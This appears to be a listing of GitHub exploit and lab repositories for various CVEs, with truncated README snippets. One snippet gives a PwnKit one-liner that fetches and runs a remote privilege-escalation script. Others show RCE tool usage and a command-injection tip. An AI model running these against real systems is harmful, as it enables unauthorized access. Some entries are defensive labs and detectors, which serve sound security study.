poc-CVE-2024-23897

poc-CVE-2024-23897 CVE-2024-23897: Jenkins Arbitrary File Read Lead to RCE 🎯 Affected Products and Versions Product: Jenkins Continuous Integration/Continuous Delivery server Versions: Jenkins 2.441 and earlier, Jenkins LTS 2.426.2 and earlier Fixed in: Jenkins 2.442, Jenkins LTS 2.426.3 📝...

metasploitable-penetration-testing-lab

🔐 Metasploitable 2 Penetration Testing Lab A controlled cybersecurity lab project demonstrating vulnerability discovery, exploitation, post-exploitation validation, and defensive mitigation within an isolated virtual environment. 📌 Project Overview This project simulates a real-world penetration...

PwnKit_CVE-2021-4034

PwnKit Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation Usage Should work out of the box on vulnerable Linux distributions based on Ubuntu, Debian, Fedora, and CentOS. sh -c "$curl -fsSL https://raw.githubusercontent.com/b1gn0se/PwnKitCVE-2021-4034/main/PwnKit.sh"...

CVE-2023-43208-PoC

CVE-2023-43208 - Mirth Connect Unauthenticated RCE Requirements Python 3.11 or higher tested on 3.11, 3.12, 3.13 Setup Create a clean virtual environment python3 -m venv .venv source .venv/bin/activate Install pinned dependencies pip install -r requirements.txt Usage Check version only python3...

ubuntu-privesc-lab

ubuntu-privesc-lab Full penetration testing workflow: credential brute force, SSH access and privilege escalation CVE-2021-4034 OVERVIEW This project demonstrates a full penetration testing workflow against a vulnerable Ubuntu virtual machine. The attack chain includes reconnaissance, credential...

CVE-2014-0160

💔 CVE-2014-0160 — "Heartbleed" 📖 Table of Contents Overview Technical Background Root Cause Impact Affected Versions Exploitation Overview Mitigation & Patch Timeline Lessons Learned Summary 🔎 Overview Heartbleed is the nickname for CVE-2014-0160 , a severe vulnerability in OpenSSL’s TLS heartbea...

bitbucket-test

Docker container to investigate CVE-2022-36804 Recreating a remote code execution vulnerability where Bitbucket fails to sanitize user input, which allows attackers to inject Git flags and execute code remotely. This repository documents how I reproduced the vulnerability CVE-2022-36804, an issue...

CVE-2022-46649

CVE-2022-46649 PoC exploit for CVE-2022-46649, a command injection vulnerability in the /cgi-bin/iplogging.cgi endpoint. The vulnerability allows authenticated attackers to execute arbitrary OS commands via crafted tcpdumpParams. Overview Vulnerability: OS Command Injection Endpoint:...

-CVE-2025-8088

-CVE-2025-8088 POWERSHEL script to check if your device is affected or no 🚨 CVE-2025-8088: WinRAR Zero-Day Alert! 🚨 A critical WinRAR vulnerability CVE-2025-8088 is making headlines – attackers can exploit this flaw in versions 7.13 to execute malicious code just by tricking users into opening a...

cve-2026-82222-poc

CVE-2026-82222 Unauthenticated PHP object injection to RCE in GiveWP & % in the command; spaces become $IFS. Pass a form id if discovery misses. Pass -g if the script cannot find an enabled gateway. The donation request often returns HTTP 500 or times out. That is expected. The session write...

Exploit for Improperly Controlled Sequential Memory Allocation in Php

php2shell Proof-of-concept for CVE-2026-109618 / CVE-20...

CVE-2025-27407

CVE-2025-27407 GitLab Podman Lab Minimal local-only lab for proving the GitLab Direct Transfer HTTP path reaches the vulnerable graphql-ruby introspection schema loader. The lab runs one vulnerable GitLab CE container; the PoC script starts its fake GitLab source server in-process only while...

CVE-2025-49132_HTB_SEASON10

CVE-2025-49132 - Pterodactyl Panel RCE Exploit HTB Season 10 - Pterodactyl Machine Writeup Overview Target: Pterodactyl HTB Machine Medium Difficulty CVE: CVE-2025-49132 Severity: Critical CVSS 9.8 Attack Type: Unauthenticated Remote Code Execution Affected: Pterodactyl Panel v1.11.11 This exploi...

CVE-2022-22947-Spring-Cloud-Gateway

Spring Cloud Gateway Remote Code Execution Vulnerability This vulnerability poses a high risk to online services. Do not perform unauthorized scanning. Usage ╰─ ./CVE-2022-22947 -h ─╯ Execute command: ./CVE-2022-22947 -u http://127.0.0.1:8080 -c whoami Batch detection: ./CVE-2022-22947 -l url.txt...

RedArrow

RedArrow3.2 - ThinkPHP 5.0.23 Remote Command Execution Tool User Guide 1. Tool Introduction RedArrow3.2 is a graphical tool for the ThinkPHP 5.0.23 remote command execution vulnerability, providing two main functions: single command execution and an interactive GodzillaShell-like interface. This...

CVE-2025-55182-PoC

CVE-2025-55182 - PoC & Stand 📌 Quick Start 1. Deploy Vulnerable Stand cd Stand docker compose up --build The vulnerable app runs at: http://localhost:3011 2. Run the Safe PoC Scanner bash cd PoC/src poetry install poetry run python scanner.py http://localhost:3011 ✅ Expected PoC Output text...

CVE-2023-4634-PoC

CVE-2023-4634 - RCE Vulnerability in WordPress Plugin Media Library Assistant 1. Build and launch environment cd Stand docker-compose up --build -d 2. Wait for services to start 60 seconds sleep 60 curl -I http://localhost:8080 3. Run vulnerability scan cd ../PoC/src python3 scanner.py...

CVE-2025-69215

CVE-2025-69215: OpenSTAManager has an SQL Injection in the Stampe Module Overview Field| Details ---|--- CVE ID| CVE-2025-69215 Severity| HIGH Advisory| View Advisory Discovered by| Lukasz Rybak Affected Products devcode-it/openstamanager versions: query'UPDATE zzprints SET predefined = 0 WHERE...

CVE-2025-7955

CVE-2025-7955 RingCentral Communications 1.5 - 1.6.8 - Missing Server‑Side Verification to Authentication Bypass via ringcentraladminlogin2faverify Function 🚨 CVE-2025-7955 | RingCentral Communications WordPress Exploit 📝 Vulnerability Overview CVE: CVE-2025-7955 Affected Plugin: RingCentral...

CVE-2026-76581-Detector

CVE-2026-76581 - WPMU DEV Dashboard Vulnerability Detector A safe, passive Python detector for identifying WordPress installations running a version of WPMU DEV Dashboard affected by CVE-2026-76581. The detector does not exploit the authentication bypass, request or replay HMAC values, or create ...